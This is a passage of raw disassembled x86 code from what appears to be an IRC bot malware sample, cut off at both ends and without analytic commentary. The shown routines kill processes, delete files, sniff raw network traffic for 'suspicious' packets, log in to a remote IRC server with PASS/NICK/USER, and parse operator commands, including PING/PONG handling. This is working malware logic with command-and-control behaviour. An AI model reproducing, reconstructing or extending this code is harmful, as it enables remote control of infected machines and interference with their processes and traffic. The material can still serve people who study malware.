loc_40900B cmp esi, 5 jl short loc_408FC7 lea eax, [ebp+var_230] push eax push offset aCouldNotDelete ; "Could not delete '%s'.!\n" jmp short loc_409025 ; --------------------------------------------------------------------------- loc_40900B: ; CODE XREF: sub_408D49+2ADj lea eax, [ebp+var_230] push eax push offset aFileDeletedS_ ; "[FILE]: Deleted '%s'.\n" jmp short loc_409025 ; --------------------------------------------------------------------------- loc_409019: ; CODE XREF: sub_408D49+277j lea eax, [ebp+var_108] push eax push offset aCannotExtractP ; "Cannot extract process path for %s\n" loc_409025: ; CODE XREF: sub_408D49+2C0j ; sub_408D49+2CEj lea eax, [ebp+var_550] push eax call sub_416975 add esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_409054 push 1 push [ebp+arg_8] lea eax, [ebp+var_550] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_409054: ; CODE XREF: sub_408D49+261j ; sub_408D49+2EFj xor eax, eax inc eax jmp loc_408F5C sub_408D49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40905C proc near ; DATA XREF: sub_409848+4E2Eo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 298h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+74h+var_298] push offset aProcListingPro ; "[PROC]: Listing processes:" push eax call sub_416975 xor esi, esi cmp [ebp+74h+var_8], esi pop ecx pop ecx jnz short loc_4090B4 push esi push [ebp+74h+var_C] lea eax, [ebp+74h+var_298] push eax lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_405D62 add esp, 14h loc_4090B4: ; CODE XREF: sub_40905C+3Cj push esi push [ebp+74h+var_10] lea eax, [ebp+74h+var_94] push esi push esi push [ebp+74h+var_C] push eax push [ebp+74h+var_98] call sub_408D49 add esp, 1Ch test eax, eax lea eax, [ebp+74h+var_298] jnz short loc_4090DD push offset aProcProcessLis ; "[PROC]: Process list completed." jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_4090DD: ; CODE XREF: sub_40905C+78j push offset aProcProcessL_0 ; "[PROC]: Process list failed." loc_4090E2: ; CODE XREF: sub_40905C+7Fj push eax call sub_416975 cmp [ebp+74h+var_8], esi pop ecx pop ecx jnz short loc_409109 push esi push [ebp+74h+var_C] lea eax, [ebp+74h+var_298] push eax lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_405D62 add esp, 14h loc_409109: ; CODE XREF: sub_40905C+91j lea eax, [ebp+74h+var_298] push eax call sub_401F0F push [ebp+74h+var_14] call sub_4139F6 pop ecx pop ecx push esi call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_40905C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409127 proc near ; CODE XREF: sub_409848+3F97p ; sub_41381B+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi push 0 push 1F0FFFh inc edi call dword_422078 ; OpenProcess mov esi, eax test esi, esi jz short loc_409159 push 0 push esi call dword_4220E8 ; TerminateProcess test eax, eax jnz short loc_409159 push esi xor edi, edi call dword_42202C ; CloseHandle loc_409159: ; CODE XREF: sub_409127+1Aj ; sub_409127+27j mov eax, edi pop edi pop esi retn sub_409127 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40915E proc near ; DATA XREF: sub_409848+21F6o push esi xor esi, esi loc_409161: ; CODE XREF: sub_40915E+20j push esi push 1 push 1 push esi push esi push esi push esi call sub_408D49 add esp, 1Ch push dword_42ED60 call dword_422000 ; Sleep jmp short loc_409161 sub_40915E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_409180 proc near ; DATA XREF: sub_409848+1C6Ao var_102B4 = byte ptr -102B4h var_102AC = byte ptr -102ACh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov eax, 102B4h lea ebp, [esp-74h] call sub_416B90 mov edx, [ebp+74h+arg_0] push ebx push esi push edi xor eax, eax inc eax push 25h pop ecx mov [ebp+74h+var_8], eax mov esi, edx lea edi, [ebp+74h+var_B4] rep movsd mov [edx+90h], eax xor eax, eax lea edi, [ebp+74h+var_1C] stosd stosd stosd xor esi, esi stosd push esi mov [ebp+74h+var_1C], 2 call dword_43A514 ; ntohs push [ebp+74h+var_B4] mov [ebp+74h+var_1A], ax call sub_408894 pop ecx push eax call dword_43A434 ; inet_addr push esi push 3 push 2 mov [ebp+74h+var_18], eax call dword_43A3BC ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+74h+var_4], edi jnz short loc_409243 call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+74h+var_2B4] push offset aPsniffErrorSoc ; "[PSNIFF]: Error: socket() failed, retur"... push eax call sub_416975 add esp, 0Ch cmp [ebp+74h+var_28], esi jnz short loc_409229 push esi push [ebp+74h+var_2C] lea eax, [ebp+74h+var_2B4] push eax lea eax, [ebp+74h+var_B0] push eax push [ebp+74h+var_B4] call sub_405D62 add esp, 14h loc_409229: ; CODE XREF: sub_409180+8Dj lea eax, [ebp+74h+var_2B4] push eax call sub_401F0F push [ebp+74h+var_30] call sub_4139F6 pop ecx jmp loc_409464 ; --------------------------------------------------------------------------- loc_409243: ; CODE XREF: sub_409180+6Dj mov eax, [ebp+74h+var_30] imul eax, 234h mov dword_43B26C[eax], edi push 10h lea eax, [ebp+74h+var_1C] push eax push edi call dword_43A49C ; bind cmp eax, 0FFFFFFFFh jnz short loc_4092B1 call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+74h+var_2B4] push offset aPsniffErrorBin ; "[PSNIFF]: Error: bind() failed, returne"... push eax call sub_416975 add esp, 0Ch cmp [ebp+74h+var_28], esi jnz short loc_40929E loc_409284: ; CODE XREF: sub_409180+170j push esi push [ebp+74h+var_2C] lea eax, [ebp+74h+var_2B4] push eax lea eax, [ebp+74h+var_B0] push eax push [ebp+74h+var_B4] call sub_405D62 add esp, 14h loc_40929E: ; CODE XREF: sub_409180+102j ; sub_409180+16Ej lea eax, [ebp+74h+var_2B4] push eax call sub_401F0F pop ecx push edi jmp loc_409456 ; --------------------------------------------------------------------------- loc_4092B1: ; CODE XREF: sub_409180+E2j push esi push esi lea eax, [ebp+74h+var_20] push eax push esi push esi push 4 lea eax, [ebp+74h+var_8] push eax push 98000001h push edi call dword_43A498 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4092F2 call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+74h+var_2B4] push offset aPsniffErrorWsa ; "[PSNIFF]: Error: WSAIoctl() failed, ret"... push eax call sub_416975 add esp, 0Ch cmp [ebp+74h+var_28], esi jnz short loc_40929E jmp short loc_409284 ; --------------------------------------------------------------------------- loc_4092F2: ; CODE XREF: sub_409180+14Ej mov ebx, 0FFFFh jmp loc_4093DA ; --------------------------------------------------------------------------- loc_4092FC: ; CODE XREF: sub_409180+281j cmp byte ptr [ebp-10237h], 6 jnz loc_4093DA cmp [ebp+74h+var_10293], 18h mov eax, [ebp+74h+var_102A8] mov [ebp+74h+var_C], eax jnz loc_4093DA lea eax, [ebp+74h+var_1028C] push offset aPsniff_0 ; "[PSNIFF]" push eax call sub_417440 test eax, eax pop ecx pop ecx jnz loc_4093DA mov eax, offset dword_42F758 xor edi, edi mov [ebp+74h+arg_0], eax loc_409344: ; CODE XREF: sub_409180+1DFj push eax lea eax, [ebp+74h+var_1028C] push eax call sub_417440 test eax, eax pop ecx pop ecx jnz short loc_409363 inc edi add [ebp+74h+arg_0], 18h mov eax, [ebp+74h+arg_0] jnz short loc_409344 jmp short loc_4093DA ; --------------------------------------------------------------------------- loc_409363: ; CODE XREF: sub_409180+1D5j lea eax, [ebp+74h+var_1028C] push eax push [ebp+74h+var_102A0] call dword_43A4B8 ; ntohs movzx eax, ax push eax push [ebp+74h+var_C] call dword_43A440 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_42F76C[eax*8] push off_42F748[eax*4] lea eax, [ebp+74h+var_2B4] push offset aPsniffSuspicio ; "[PSNIFF]: Suspicious %s packet from: %s"... push 200h push eax call sub_416BCD add esp, 1Ch cmp [ebp+74h+var_28], esi jnz short loc_4093CD push esi push [ebp+74h+var_2C] lea eax, [ebp+74h+var_2B4] push eax lea eax, [ebp+74h+var_B0] push eax push [ebp+74h+var_B4] call sub_405D62 add esp, 14h loc_4093CD: ; CODE XREF: sub_409180+231j lea eax, [ebp+74h+var_2B4] push eax call sub_401F0F pop ecx loc_4093DA: ; CODE XREF: sub_409180+177j ; sub_409180+183j ... xor eax, eax lea edi, [ebp+74h+var_102B4] mov ecx, 3FFFh rep stosd stosw push esi stosb push ebx lea eax, [ebp+74h+var_102B4] push eax push [ebp+74h+var_4] call dword_43A324 ; recv cmp eax, 0FFFFFFFFh jnz loc_4092FC call dword_43A47C ; WSAGetLastError push eax push offset aPsniffErrorRec ; "[PSNIFF]: Error: recv() failed, returne"... lea eax, [ebp+74h+var_2B4] push 200h push eax call sub_416BCD add esp, 10h cmp [ebp+74h+var_28], esi jnz short loc_409446 push esi push [ebp+74h+var_2C] lea eax, [ebp+74h+var_2B4] push eax lea eax, [ebp+74h+var_B0] push eax push [ebp+74h+var_B4] call sub_405D62 add esp, 14h loc_409446: ; CODE XREF: sub_409180+2AAj lea eax, [ebp+74h+var_2B4] push eax call sub_401F0F pop ecx push [ebp+74h+var_4] loc_409456: ; CODE XREF: sub_409180+12Cj call dword_43A4D0 ; closesocket push [ebp+74h+var_30] call sub_4139F6 loc_409464: ; CODE XREF: sub_409180+BEj pop ecx push esi call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_409180 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=58h sub_40946D proc near ; CODE XREF: sub_4096E9+D0p var_1E1C = byte ptr -1E1Ch var_E1C = byte ptr -0E1Ch var_64C = byte ptr -64Ch var_5AC = byte ptr -5ACh var_4AC = byte ptr -4ACh var_2AC = byte ptr -2ACh var_AC = byte ptr -0ACh var_2C = byte ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov eax, 1E1Ch lea ebp, [esp-58h] call sub_416B90 push ebx push esi xor ebx, ebx push 2 mov [ebp+58h+var_14], ebx lea eax, [ebp+58h+var_5AC] pop ecx loc_40948C: ; CODE XREF: sub_40946D+28j and byte ptr [eax], 0 add eax, 80h dec ecx jnz short loc_40948C cmp byte_480ADC, 0 jz short loc_4094B5 push offset byte_480ADC push offset aPassS ; "PASS %s\r\n" push [ebp+58h+arg_0] call sub_405D17 add esp, 0Ch loc_4094B5: ; CODE XREF: sub_40946D+31j push [ebp+58h+arg_C] lea eax, [ebp+58h+var_2C] push ebx push ebx push 2 push eax call sub_411114 add esp, 10h push eax push [ebp+58h+arg_C] lea eax, [ebp+58h+var_AC] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_416975 lea eax, [ebp+58h+var_AC] add esp, 14h lea esi, [eax+1] loc_4094E3: ; CODE XREF: sub_40946D+7Bj mov cl, [eax] inc eax test cl, cl jnz short loc_4094E3 push ebx sub eax, esi push eax lea eax, [ebp+58h+var_AC] push eax push [ebp+58h+arg_0] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jnz short loc_40951B push [ebp+58h+arg_0] call dword_43A4D0 ; closesocket push 7D0h call dword_422000 ; Sleep xor eax, eax jmp loc_4096E2 ; --------------------------------------------------------------------------- loc_40951B: ; CODE XREF: sub_40946D+91j push edi jmp loc_4096A8 ; --------------------------------------------------------------------------- loc_409521: ; CODE XREF: sub_40946D+262j lea eax, [ebp+58h+var_E1C] push eax lea eax, [ebp+58h+var_1E1C] push eax call sub_4072AC cmp eax, ebx pop ecx pop ecx mov [ebp+58h+var_18], eax mov [ebp+58h+var_10], ebx jle loc_4096A8 lea esi, [ebp+58h+var_E1C] mov [ebp+58h+var_C], esi loc_40954D: ; CODE XREF: sub_40946D+235j push offset asc_4285C0 ; " :" push dword ptr [esi] xor eax, eax mov ecx, 80h lea edi, [ebp+58h+var_2AC] rep stosd call sub_417440 cmp eax, ebx pop ecx pop ecx mov [ebp+58h+var_4], eax jz short loc_409577 add [ebp+58h+var_4], 2 jmp short loc_40957C ; --------------------------------------------------------------------------- loc_409577: ; CODE XREF: sub_40946D+102j mov eax, [esi] mov [ebp+58h+var_4], eax loc_40957C: ; CODE XREF: sub_40946D+108j push 1FFh push [ebp+58h+var_4] lea eax, [ebp+58h+var_2AC] push eax call sub_416A00 lea eax, [ebp+58h+var_2AC] push offset asc_4285BC ; "|" push eax call sub_4177E9 add esp, 14h test eax, eax mov [ebp+58h+var_8], eax lea ebx, [ebp+58h+var_2AC] jz loc_409691 loc_4095B5: ; CODE XREF: sub_40946D+21Ej xor eax, eax mov ecx, 80h lea edi, [ebp+58h+var_4AC] rep stosd mov eax, [esi] mov ecx, [ebp+58h+var_4] sub ecx, eax push ecx push eax lea eax, [ebp+58h+var_4AC] push eax call sub_416A00 mov eax, [ebp+58h+var_8] add esp, 0Ch mov esi, eax loc_4095E1: ; CODE XREF: sub_40946D+179j mov cl, [eax] inc eax test cl, cl jnz short loc_4095E1 lea edi, [ebp+58h+var_4AC] sub eax, esi dec edi loc_4095F1: ; CODE XREF: sub_40946D+18Aj mov cl, [edi+1] inc edi test cl, cl jnz short loc_4095F1 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+58h+var_8] and ecx, 3 rep movsb lea esi, [eax+1] loc_40960D: ; CODE XREF: sub_40946D+1A5j mov cl, [eax] inc eax test cl, cl jnz short loc_40960D sub eax, esi lea ebx, [ebx+eax+1] push offset asc_4285BC ; "|" push ebx call sub_4177E9 pop ecx xor esi, esi pop ecx mov [ebp+58h+var_8], eax inc esi loc_40962D: ; CODE XREF: sub_40946D+206j push [ebp+58h+arg_1C] lea eax, [ebp+58h+var_14] push esi push eax lea eax, [ebp+58h+var_64C] push eax lea eax, [ebp+58h+var_5AC] push eax push [ebp+58h+arg_18] lea eax, [ebp+58h+var_4AC] push [ebp+58h+arg_C] push [ebp+58h+arg_8] push [ebp+58h+arg_4] push [ebp+58h+arg_0] push eax call sub_409848 add esp, 2Ch dec eax mov esi, eax test esi, esi jle short loc_409675 push 0FAh call dword_422000 ; Sleep jmp short loc_40962D ; --------------------------------------------------------------------------- loc_409675: ; CODE XREF: sub_40946D+1F9j cmp esi, 0FFFFFFFDh jz short loc_4096DE cmp esi, 0FFFFFFFEh jz short loc_4096D9 cmp esi, 0FFFFFFFFh jz short loc_4096D5 cmp [ebp+58h+var_8], 0 mov esi, [ebp+58h+var_C] jnz loc_4095B5 loc_409691: ; CODE XREF: sub_40946D+142j inc [ebp+58h+var_10] mov eax, [ebp+58h+var_10] add esi, 4 xor ebx, ebx cmp eax, [ebp+58h+var_18] mov [ebp+58h+var_C], esi jl loc_40954D loc_4096A8: ; CODE XREF: sub_40946D+AFj ; sub_40946D+D1j xor eax, eax push ebx lea edi, [ebp+58h+var_1E1C] mov ecx, 400h rep stosd push 1000h lea eax, [ebp+58h+var_1E1C] push eax push [ebp+58h+arg_0] call dword_43A324 ; recv test eax, eax jg loc_409521 loc_4096D5: ; CODE XREF: sub_40946D+215j xor eax, eax jmp short loc_4096E1 ; --------------------------------------------------------------------------- loc_4096D9: ; CODE XREF: sub_40946D+210j xor eax, eax inc eax jmp short loc_4096E1 ; --------------------------------------------------------------------------- loc_4096DE: ; CODE XREF: sub_40946D+20Bj push 2 pop eax loc_4096E1: ; CODE XREF: sub_40946D+26Aj ; sub_40946D+26Fj pop edi loc_4096E2: ; CODE XREF: sub_40946D+A9j pop esi pop ebx add ebp, 58h leave retn sub_40946D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096E9 proc near ; CODE XREF: sub_40FB4C+47Cp ; DATA XREF: sub_409848+2F12o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push ebx push esi push edi push 59h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_190] inc ebx rep movsd mov [eax+160h], ebx jmp loc_4097E4 ; --------------------------------------------------------------------------- loc_409713: ; CODE XREF: sub_4096E9+129j push 7 pop ecx xor eax, eax push eax push dword_42FCE0 lea edi, [ebp+var_2C] push dword_42FCDC rep stosd lea eax, [ebp+var_2C] push eax call sub_411114 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43B278 push edi push eax call sub_416A00 add esp, 1Ch push 6 push ebx push 2 call dword_43A3BC ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h mov dword_43B26C[eax], esi push 10h lea eax, [ebp+var_10] push eax push esi call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jz loc_40981A lea eax, [ebp+var_18C] push eax push offset aMainConnectedT ; "[MAIN]: Connected to %s." call sub_401F83 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax push [ebp+var_190] lea eax, [ebp+var_CC] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40946D add esp, 28h push esi mov edi, eax call dword_43A4D0 ; closesocket test edi, edi jz short loc_4097E4 cmp edi, ebx jnz short loc_4097DF push 1D4C0h call dword_422000 ; Sleep jmp short loc_4097E4 ; --------------------------------------------------------------------------- loc_4097DF: ; CODE XREF: sub_4096E9+E7j cmp edi, 2 jz short loc_409835 loc_4097E4: ; CODE XREF: sub_4096E9+25j ; sub_4096E9+E3j ... push [ebp+var_3C] xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd mov [ebp+var_10], 2 call dword_43A514 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40877E test eax, eax pop ecx mov [ebp+var_C], eax jnz loc_409713 jmp short loc_409841 ; --------------------------------------------------------------------------- loc_40981A: ; CODE XREF: sub_4096E9+92j push esi call dword_43A4D0 ; closesocket call sub_4087A7 push 7D0h call dword_422000 ; Sleep mov eax, ebx jmp short loc_409841 ; --------------------------------------------------------------------------- loc_409835: ; CODE XREF: sub_4096E9+F9j push [ebp+var_34] call sub_4139F6 pop ecx push 2 pop eax loc_409841: ; CODE XREF: sub_4096E9+12Fj ; sub_4096E9+14Aj pop edi pop esi pop ebx leave retn 4 sub_4096E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409848 proc near ; CODE XREF: sub_40946D+1ECp var_2804 = byte ptr -2804h var_2404 = byte ptr -2404h var_2204 = byte ptr -2204h var_2004 = byte ptr -2004h var_1F04 = byte ptr -1F04h var_1E04 = byte ptr -1E04h var_1E00 = byte ptr -1E00h var_1D00 = dword ptr -1D00h var_1CFC = dword ptr -1CFCh var_1CF8 = byte ptr -1CF8h var_1C78 = byte ptr -1C78h var_1BF8 = byte ptr -1BF8h var_1B78 = byte ptr -1B78h var_1AF8 = byte ptr -1AF8h var_1A78 = dword ptr -1A78h var_1A74 = dword ptr -1A74h var_1A70 = dword ptr -1A70h var_1A6C = dword ptr -1A6Ch var_1A68 = byte ptr -1A68h var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_18E8 = byte ptr -18E8h var_1868 = dword ptr -1868h var_1864 = dword ptr -1864h var_1860 = dword ptr -1860h var_185C = dword ptr -185Ch var_1858 = dword ptr -1858h var_1854 = byte ptr -1854h var_17D4 = byte ptr -17D4h var_1754 = byte ptr -1754h var_16D4 = dword ptr -16D4h var_16D0 = dword ptr -16D0h var_16CC = dword ptr -16CCh var_16C8 = dword ptr -16C8h var_16C4 = byte ptr -16C4h var_16C0 = byte ptr -16C0h var_1640 = byte ptr -1640h var_1600 = byte ptr -1600h var_1570 = dword ptr -1570h var_156C = dword ptr -156Ch var_1568 = dword ptr -1568h var_1564 = dword ptr -1564h var_1560 = byte ptr -1560h var_155C = byte ptr -155Ch var_145C = dword ptr -145Ch var_1458 = byte ptr -1458h var_1454 = dword ptr -1454h var_1450 = byte ptr -1450h var_13D0 = byte ptr -13D0h var_1354 = byte ptr -1354h var_12CC = byte ptr -12CCh var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = byte ptr -1244h var_11C8 = dword ptr -11C8h var_11C4 = dword ptr -11C4h var_11C0 = dword ptr -11C0h var_11BC = dword ptr -11BCh var_11B8 = dword ptr -11B8h var_11B4 = byte ptr -11B4h var_1134 = byte ptr -1134h var_10B4 = byte ptr -10B4h var_1034 = dword ptr -1034h var_1030 = dword ptr -1030h var_102C = dword ptr -102Ch var_1028 = dword ptr -1028h var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1010 = byte ptr -1010h var_F90 = byte ptr -0F90h var_F10 = dword ptr -0F10h var_F0C = dword ptr -0F0Ch var_F08 = dword ptr -0F08h var_F00 = dword ptr -0F00h var_EFC = dword ptr -0EFCh var_EF8 = dword ptr -0EF8h var_EF0 = byte ptr -0EF0h var_EA0 = dword ptr -0EA0h var_E9C = byte ptr -0E9Ch var_E98 = dword ptr -0E98h var_E94 = byte ptr -0E94h var_E14 = byte ptr -0E14h var_D14 = byte ptr -0D14h var_C15 = byte ptr -0C15h var_C14 = byte ptr -0C14h var_B14 = dword ptr -0B14h var_B10 = dword ptr -0B10h var_B0C = dword ptr -0B0Ch var_B08 = dword ptr -0B08h var_B04 = dword ptr -0B04h var_B00 = dword ptr -0B00h var_AFC = dword ptr -0AFCh var_AF8 = dword ptr -0AF8h var_AF4 = dword ptr -0AF4h var_AF0 = byte ptr -0AF0h var_AD0 = dword ptr -0AD0h var_ACC = byte ptr -0ACCh var_A90 = dword ptr -0A90h var_A8C = byte ptr -0A8Ch var_A4C = byte ptr -0A4Ch var_A0C = byte ptr -0A0Ch var_98C = byte ptr -98Ch var_90C = dword ptr -90Ch var_908 = dword ptr -908h var_904 = dword ptr -904h var_900 = dword ptr -900h var_8FC = dword ptr -8FCh var_8F8 = dword ptr -8F8h var_8F4 = dword ptr -8F4h var_8F0 = byte ptr -8F0h var_870 = dword ptr -870h var_86C = byte ptr -86Ch var_860 = byte ptr -860h var_85C = byte ptr -85Ch var_7EC = byte ptr -7ECh var_76C = dword ptr -76Ch var_768 = dword ptr -768h var_764 = dword ptr -764h var_760 = dword ptr -760h var_75C = byte ptr -75Ch var_750 = byte ptr -750h var_740 = dword ptr -740h var_73C = byte ptr -73Ch var_6BC = byte ptr -6BCh var_63C = dword ptr -63Ch var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = dword ptr -624h var_620 = dword ptr -620h var_61C = byte ptr -61Ch var_60C = byte ptr -60Ch var_5FC = dword ptr -5FCh var_5F8 = byte ptr -5F8h var_578 = byte ptr -578h var_4F8 = dword ptr -4F8h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4BC = byte ptr -4BCh var_4A0 = dword ptr -4A0h var_49C = byte ptr -49Ch var_498 = dword ptr -498h var_494 = byte ptr -494h var_488 = dword ptr -488h var_484 = byte ptr -484h var_41C = byte ptr -41Ch var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = dword ptr -400h var_3FC = dword ptr -3FCh var_3F8 = dword ptr -3F8h var_3F4 = dword ptr -3F4h var_3F0 = byte ptr -3F0h var_38F = byte ptr -38Fh var_38E = byte ptr -38Eh var_38C = byte ptr -38Ch var_38B = byte ptr -38Bh var_388 = dword ptr -388h var_384 = dword ptr -384h var_380 = dword ptr -380h var_37C = byte ptr -37Ch var_376 = byte ptr -376h var_354 = byte ptr -354h var_334 = dword ptr -334h var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_D8 = word ptr -0D8h var_D6 = word ptr -0D6h var_D4 = dword ptr -0D4h var_C8 = byte ptr -0C8h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_64 = byte ptr -64h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 2804h call sub_416B90 push ebx push esi push edi mov esi, 80h xor eax, eax push 1Bh push [ebp+arg_10] xor ebx, ebx mov ecx, esi lea edi, [ebp+var_2F0] rep stosd lea eax, [ebp+var_4BC] push eax mov [ebp+var_20], 3 mov [ebp+var_18], ebx mov [ebp+var_1C], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_416A00 add esp, 0Ch xor eax, eax cmp [ebp+arg_0], ebx jz loc_409AC8 mov ecx, esi mov esi, 1FFh push esi push [ebp+arg_0] lea edi, [ebp+var_2204] rep stosd lea eax, [ebp+var_2204] push eax call sub_416A00 lea eax, [ebp+var_2204] push offset asc_4285C0 ; " :" push eax call sub_417440 mov [ebp+var_14], eax push esi lea eax, [ebp+var_2204] push eax lea eax, [ebp+var_2404] push eax call sub_416A00 mov esi, offset asc_422B00 ; " " lea eax, [ebp+var_2404] push esi push eax call sub_4177E9 xor edi, edi add esp, 28h mov [ebp+var_A4], eax inc edi loc_409905: ; CODE XREF: sub_409848+D1j push esi push ebx call sub_4177E9 mov [ebp+edi*4+var_A4], eax inc edi cmp edi, 20h pop ecx pop ecx jl short loc_409905 mov ebx, [ebp+var_A4] xor esi, esi cmp ebx, esi jz loc_409AC6 cmp [ebp+var_A0], esi jz loc_409AC6 push 40h pop ecx xor eax, eax lea edi, [ebp+var_3F0] push 1Fh rep stosd pop edx loc_409947: ; CODE XREF: sub_409848+137j lea ecx, [ebp+edx*4+var_A4] mov eax, [ecx] cmp eax, esi jz short loc_40997E cmp byte ptr [eax], 2Dh jnz short loc_409981 cmp byte ptr [eax+2], 0 jnz short loc_409981 movsx edi, byte ptr [eax+1] and byte ptr [eax], 0 and byte ptr [eax+1], 0 and byte ptr [eax+2], 0 mov [ecx], esi mov ebx, [ebp+var_A4] mov [ebp+edi+var_3F0], 1 loc_40997E: ; CODE XREF: sub_409848+10Aj dec edx jns short loc_409947 loc_409981: ; CODE XREF: sub_409848+10Fj ; sub_409848+115j cmp byte ptr [ebp+var_380+3], 0 jz short loc_409991 mov [ebp+var_C], 1 loc_409991: ; CODE XREF: sub_409848+140j cmp byte ptr [ebp+var_384+2], 0 jz short loc_4099A4 mov [ebp+var_C], esi mov [ebp+var_4], 1 loc_4099A4: ; CODE XREF: sub_409848+150j cmp byte ptr [ebx], 0Ah jz short loc_4099DE push 7Fh lea eax, [ebp+var_8F0] push ebx push eax call sub_416A00 push 17h lea eax, [ebx+1] push eax lea eax, [ebp+var_F0] push eax call sub_416A00 lea eax, [ebp+var_F0] push offset asc_42A9B4 ; "!" push eax call sub_4177E9 add esp, 20h loc_4099DE: ; CODE XREF: sub_409848+15Fj push 5 mov edi, ebx mov esi, offset aPing ; "PING" pop ecx xor eax, eax repe cmpsb jnz short loc_409A2C push [ebp+var_A0] mov byte ptr [ebx+1], 4Fh push offset aPongS ; "PONG %s\r\n" push 